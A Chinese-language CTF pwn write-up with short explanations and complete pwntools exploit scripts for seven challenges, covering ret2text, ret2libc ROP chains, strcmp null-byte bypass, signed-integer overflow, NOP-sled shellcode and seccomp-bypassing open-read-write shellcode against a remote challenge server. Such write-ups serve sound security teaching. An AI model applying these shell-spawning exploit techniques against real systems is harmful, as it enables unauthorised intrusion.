where_is_my_binsh

一道简单的题目,存在栈溢出以及system函数,没有/bin/sh\x00字符串,给了变量something的地址,那么就先输入/bin/sh\x00字符串再打ret2text。

from pwn import*
io=remote('gz.imxbt.cn',20884)
elf=ELF('./where_is_my_binsh')
bin_sh=0x0404090
system=elf.sym['system']

ret=0x040101a
rdi=0x0401323

io.sendlineafter('If you want it ,then you have to create it:',b'/bin/sh\x00')
payload=cyclic(0x10+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(0x40123F)
io.sendlineafter('Do you find what you want now ?',payload)

io.interactive()

boom

该题先输入一段字符串,再将输入的字符串与程序随机生成的字符串进行比较,若一样则获得shell,否则退出程序。此题的关键在于strcmp函数,其存在\x00截断的问题,在生成secret时会有概率生成一个以\x00开头的字符串,从而绕过检测。

from pwn import*
context(arch='amd64')
while True:
io=remote('gz.imxbt.cn',20917)
io.sendafter('her thinking?',b'\x00'*0x30)
io.recvline()
res=io.recvline()

print(res)
if b'WOW' in res:
break
io.close()

io.interactive()

positive

本题对有符号与无符号的整数类型进行了考察,首先if的判断是int类型,而最后输入的大小又转换成了unsigned int类型,因此可以先输入一个负数绕过if判断,然后经过类型转换,该负数就会变为一个很大的正整数,从而造成栈溢出。

存在后门函数,直接打即可。

from pwn import*
io=remote('gz.imxbt.cn',20965)
bin_sh=0x40126A
ret=0x40101a
io.sendlineafter('How many steps do you wang her to walk:',b'-1')
payload=cyclic(0x30+8)+p64(ret)+p64(bin_sh)
io.sendline(payload)

io.interactive()

ret2libc

简单的64位ret2libc。

from pwn import*
elf=ELF('./ret2libc')
libc=ELF('./ret2libc.so.6')

io=remote('gz.imxbt.cn',20982)

rdi=0x04012c3
ret=0x040101a
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']

payload=cyclic(0x20+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)

puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))

libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh'))

payload=cyclic(0x20+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(main)
io.sendline(payload)

io.interactive()

stack-overflow

简单的64位ret2text

from pwn import*
io=remote('gz.imxbt.cn',20013)
payload=cyclic(0x20+8)+p64(0x040101a)+p64(0x4012BD)
io.sendline(payload)

io.interactive()

shellcode-lv0

正如题目名,直接打shellcode,但是本题会随机将buf的前几段丢弃,因此我们可以在shellcode前加上许多nop,最后也能运行完整的shellcode。

from pwn import*
context.arch='amd64'
io=remote('gz.imxbt.cn',20014)

shellcode=asm(shellcraft.sh())
payload=shellcode.rjust(0x100,b'\x90')
io.sendline(payload)

io.interactive()

shellcode-lv1

本题与lv0差不多,但是本题开启了沙盒保护。

禁用了execve以及execveat,但是可以通过打orw获得flag。

from pwn import*
context.arch='amd64'
io=remote('gz.imxbt.cn',20015)

shellcode=shellcraft.open("/flag")+shellcraft.read(3,0x20240000,100)+shellcraft.write(1,0x20240000,100)
shellcode=asm(shellcode)

payload=shellcode.rjust(0x100,b'\x91')
io.sendline(payload)

io.interactive()